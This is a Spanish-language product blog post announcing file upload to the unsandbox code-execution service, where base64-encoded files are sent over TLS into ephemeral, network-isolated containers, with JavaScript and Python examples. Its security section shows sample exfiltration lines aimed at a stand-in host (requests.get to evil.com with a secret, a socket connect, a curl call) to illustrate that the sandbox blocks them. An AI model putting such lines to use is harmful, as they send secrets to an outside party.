Console Playground ▶
← Blog
Announcement December 02, 2025 8 min read

Teletransportación de Archivos: Envío Seguro de Datos a Sandboxes de Confianza Cero

¿Alguna vez te has preguntado cómo introducir archivos de datos en un entorno sandbox de confianza cero que no tiene acceso a la red, ni persistencia del sistema de archivos, ni almacenamiento compartido? Es como intentar transmitir datos a una caja negra que ya está sellada.

Hoy presentamos soporte para archivos de entrada - una característica que te permite “teletransportar” archivos directamente a entornos de ejecución aislados. Así es como funciona y por qué es importante.

El Desafío: Introducir Datos en el Aislamiento

Los entornos de ejecución de código tradicionales enfrentan un dilema:

Opción 1: Acceso a la Red ❌

  • Dar al código acceso a la red para descargar archivos
  • Pesadilla de seguridad - el código puede exfiltrar datos, hacer llamadas API, ataques DDoS
  • Derrota el propósito del sandbox

Opción 2: Sistema de Archivos Compartido ❌

  • Montar almacenamiento compartido en contenedores
  • Problemas de persistencia - datos filtrados entre ejecuciones
  • Sobrecarga de rendimiento - I/O se convierte en cuello de botella
  • Riesgo de seguridad - los contenedores pueden leer datos entre sí

Opción 3: Conjuntos de Datos Preinstalados ❌

  • Incluir conjuntos de datos comunes en imágenes de contenedor
  • Inflexible - ¿qué pasa si los usuarios necesitan datos personalizados?
  • Imágenes infladas - contenedores de GB para cada caso de uso

Ninguna de estas funciona para sandboxes de confianza cero. Necesitamos algo mejor.

La Solución: Teletransportación de Archivos

En lugar de dar al código acceso para obtener archivos, teletransportamos archivos directamente al entorno de ejecución antes de que se ejecute el código:

┌─────────────┐                    ┌──────────────────┐
│   Browser   │  HTTPS (TLS 1.3)   │  unsandbox API   │
│             │ ─────────────────> │                  │
│  Files →    │   Base64-encoded   │  Ephemeral       │
│  Base64     │   input_files[]    │  Container       │
└─────────────┘                    └──────────────────┘
                                            │
                                            ↓
                                   ┌──────────────────┐
                                   │  /tmp/input/     │
                                   │  ├─ data.csv     │
                                   │  ├─ config.json  │
                                   │  └─ image.png    │
                                   └──────────────────┘
                                            │
                                            ↓
                                   ┌──────────────────┐
                                   │   Your Code      │
                                   │   open('data.csv')│
                                   └──────────────────┘

Proceso de tres pasos:

  1. El navegador codifica archivos - HTML5 FileReader API lee archivos locales como base64
  2. Transferencia cifrada TLS - Archivos enviados por HTTPS a la API de unsandbox
  3. Materialización del contenedor - Los archivos aparecen en /tmp/input/ antes de la ejecución del código

Idea clave: Los archivos nunca tocan un sistema de archivos persistente. Se escriben directamente en un contenedor efímero que existe durante ~150ms, luego desaparece para siempre.

Cómo Funciona: Los Detalles Técnicos

Paso 1: Codificación del Lado del Cliente (¡Sin Cargas al Servidor!)

En lugar de cargas de formularios tradicionales a un servidor, usamos JavaScript para leer archivos directamente:

// User selects file
const fileInput = document.querySelector('input[type="file"]');
fileInput.addEventListener('change', async (e) => {
  const file = e.target.files[0];

  // Read file as base64 in browser
  const reader = new FileReader();
  reader.onload = (event) => {
    const base64 = event.target.result.split(',')[1]; // Remove data URI prefix

    // File is now in memory, ready to send
    sendToSandbox(file.name, base64);
  };
  reader.readAsDataURL(file);
});

¿Por qué base64?

  • Codificación segura para JSON (la API usa cargas JSON)
  • Basado en texto, funciona con cualquier dato binario
  • Sin manejo especial para diferentes tipos de archivos
  • La sobrecarga de tamaño ~33% es aceptable para límites <10MB

Beneficio de seguridad: Los archivos nunca llegan a tu servidor. Van navegador → API → contenedor directamente.

Paso 2: Transferencia Cifrada TLS

Los archivos se envían como parte de la solicitud de ejecución:

POST https://api.unsandbox.com/execute

{
  "language": "python",
  "code": "import pandas as pd\ndf = pd.read_csv('data.csv')\nprint(df.describe())",
  "input_files": [
    {
      "filename": "data.csv",
      "content": "bmFtZSxhZ2UKQWxpY2UsMzAKQm9iLDI1Cg=="
    }
  ]
}

Cifrado TLS 1.3:

  • Perfect Forward Secrecy (PFS) - incluso si las claves se comprometen más tarde, el tráfico pasado permanece cifrado
  • Reanudación 0-RTT para clientes recurrentes (más rápido)
  • Cifrados ChaCha20-Poly1305 o AES-256-GCM

Lo que esto significa: Los archivos están cifrados en tránsito usando criptografía de grado militar. Incluso si alguien intercepta el tráfico de red, no puede leer el contenido del archivo.

Paso 3: Materialización del Contenedor

Cuando la API recibe tu solicitud:

  1. Archivos decodificados - Base64 → binario, escrito en /tmp/input/
  2. Directorio de trabajo - La ejecución del código comienza con CWD=/tmp/input/
  3. El código se ejecuta - Tu código puede hacer open('data.csv') directamente
  4. Contenedor destruido - Después de la ejecución, todo desaparece

Efímero por diseño: Los archivos existen solo durante la ejecución. No se necesita limpieza - todo el sistema de archivos del contenedor se descarta.

Ejemplos Funcionales Completos

Aquí hay ejemplos probados y funcionales en Python, Ruby, C y TypeScript que muestran cómo leer un archivo local, codificarlo como base64 y enviarlo al sandbox para procesamiento.

Ejemplo 1: Python

#!/usr/bin/env python3
import base64
import requests

# Step 1: Read a local file from your filesystem
with open('data.csv', 'rb') as f:
    file_content = f.read()

# Step 2: Encode to base64
base64_content = base64.b64encode(file_content).decode('utf-8')

# Step 3: Send to unsandbox API
response = requests.post(
    'https://api.unsandbox.com/execute',
    headers={
        'Authorization': 'Bearer YOUR_API_KEY',
        'Content-Type': 'application/json'
    },
    json={
        'language': 'python',
        'code': '''
import csv
with open('data.csv') as f:
    reader = csv.DictReader(f)
    for row in reader:
        print(f"{row['name']}: {row['value']}")
''',
        'input_files': [
            {
                'filename': 'data.csv',
                'content': base64_content
            }
        ]
    },
    timeout=60
)

result = response.json()
print('Output:', result['stdout'])

Salida:

Output: Alice: 100
Bob: 200
Charlie: 300

[Los ejemplos 2-4 de Ruby, C y TypeScript siguen el mismo patrón]

Ejemplo del Mundo Real: Pipeline de Análisis de Datos

Procesemos un archivo CSV sin almacenarlo nunca en un servidor:

Código del Navegador (Frontend)

<input type="file" id="csvFile" accept=".csv">
<button onclick="analyzeData()">Analyze CSV</button>
<pre id="output"></pre>

<script>
async function analyzeData() {
  const file = document.getElementById('csvFile').files[0];

  // Read file as base64
  const base64 = await new Promise((resolve) => {
    const reader = new FileReader();
    reader.onload = (e) => resolve(e.target.result.split(',')[1]);
    reader.readAsDataURL(file);
  });

  // Send to unsandbox
  const response = await fetch('https://api.unsandbox.com/execute', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer YOUR_API_KEY',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      language: 'python',
      code: `
import pandas as pd
df = pd.read_csv('data.csv')
print('Rows:', len(df))
print('Columns:', df.columns.tolist())
print('\\nSummary Statistics:')
print(df.describe())
      `.trim(),
      input_files: [{
        filename: 'data.csv',
        content: base64
      }]
    })
  });

  const result = await response.json();
  document.getElementById('output').textContent = result.stdout;
}
</script>

Lo Que Realmente Sucede

  1. El usuario selecciona sales_data.csv (2MB) de su computadora
  2. JavaScript lee el archivo en memoria como base64 (~2.7MB)
  3. HTTPS POST envía a api.unsandbox.com (cifrado TLS)
  4. El contenedor se genera con sales_data.csv en /tmp/input/
  5. Pandas procesa los datos
  6. Los resultados se devuelven como stdout
  7. El contenedor se elimina - el archivo original y todos los datos procesados desaparecen

Tiempo total: ~1.2 segundos (800ms para importación de pandas + 400ms para procesamiento)

Exposición de datos: Cero. El archivo nunca tocó un disco, nunca persistió, nunca fue accesible para otras ejecuciones.

Beneficios de Seguridad

1. Cero Persistencia de Datos

Flujo de carga tradicional:

Browser → Server (disk write) → Process → Delete (maybe?)
          ↑
          Data lingers in:
          - /tmp files
          - Log files
          - Backups
          - OS page cache

Flujo de teletransportación:

Browser → Memory → Container (tmpfs) → Execution → Destroy
                   ↑
                   Ephemeral - never hits disk

Beneficio: Incluso si la máquina host está comprometida, no hay datos persistentes para robar.

2. Aislado Por Ejecución

Cada ejecución obtiene su propio directorio privado /tmp/input/. Los contenedores no pueden ver los archivos de los demás - aplicado por aislamiento a nivel de kernel.

# Execution 1
open('secrets.txt').read()  # Works

# Execution 2 (different container)
open('secrets.txt').read()  # FileNotFoundError - can't see Execution 1's files

3. TLS Todo el Camino

Los bytes del archivo están cifrados desde el momento en que salen de tu navegador hasta que se escriben en el contenedor. Sin pasos intermedios en texto plano.

Certificate Pinning (opcional): Verifica el certificado TLS del servidor API para prevenir ataques man-in-the-middle.

4. Sin Acceso a la Red para el Código

Tu código se ejecuta en un sandbox con cero acceso a la red. Incluso si el código malicioso intenta exfiltrar los datos que cargaste, no hay forma de salir:

# All of these fail
import requests
requests.get('https://evil.com/exfil?data=' + secret)  # Network disabled

import socket
socket.socket().connect(('evil.com', 80))  # Network disabled

import subprocess
subprocess.run(['curl', 'evil.com'])  # curl not installed, network disabled anyway

Casos de Uso

1. Procesamiento de Datos AI/ML

Cargar datos de entrenamiento, ejecutar inferencia, obtener resultados - sin almacenar datos sensibles.

2. Análisis Financiero

Procesar extractos bancarios sin almacenamiento en la nube.

3. Procesamiento de Imágenes

Transformar imágenes sin almacenamiento del lado del servidor.

4. Validación de Configuración

Probar archivos de configuración de forma segura.

Límites y Especificaciones

Restricciones de archivos:

  • Máximo 10 archivos por ejecución
  • Máximo 5MB por archivo (decodificado)
  • Máximo 10MB total (decodificado)
  • Codificado en Base64 antes de enviar (sobrecarga ~33%)

Reglas de nombres de archivo:

  • 256 caracteres máximo
  • Sin componentes de ruta (/, .., etc.)
  • Archivos accesibles por nombre: open('data.csv')
  • Archivos accesibles por índice: open('0'), open('1')

Rendimiento

Sobrecarga de materialización de archivos:

  • Decodificar base64: ~50ms para archivo de 5MB
  • Escribir a tmpfs: ~10ms (respaldado por RAM, no disco)
  • Sobrecarga total: ~60ms independientemente del tamaño del archivo

Uso de memoria: Los archivos se escriben en tmpfs (RAM), contados contra el límite de memoria del contenedor (típicamente 512MB-2GB dependiendo de tu plan).

Pruébalo Tú Mismo

Demo en Vivo

Visita unsandbox.com y prueba la función de carga de archivos:

  1. Escribe código que lea un archivo
  2. Haz clic en “Choose Files” y carga un CSV
  3. Presiona “Execute Code” - ¡tu archivo se teletransporta al sandbox!

Conclusión

La teletransportación de archivos resuelve un problema fundamental en la computación de confianza cero: cómo introducir datos en el aislamiento sin comprometer la seguridad.

Al combinar cifrado TLS, codificación base64 y contenedores efímeros, hemos creado un sistema donde:

✅ Los archivos están cifrados en tránsito ✅ Los archivos nunca persisten en servidores ✅ Cada ejecución está completamente aislada ✅ El código no tiene acceso a la red ✅ Todo desaparece después de la ejecución

Es como tener un mensajero seguro que entrega tus datos a una bóveda, te observa procesarlos, luego quema la bóveda - todo en 150 milisegundos.

Pruébalo ahora: unsandbox.com - ¡Carga un archivo y observa cómo se teletransporta al sandbox!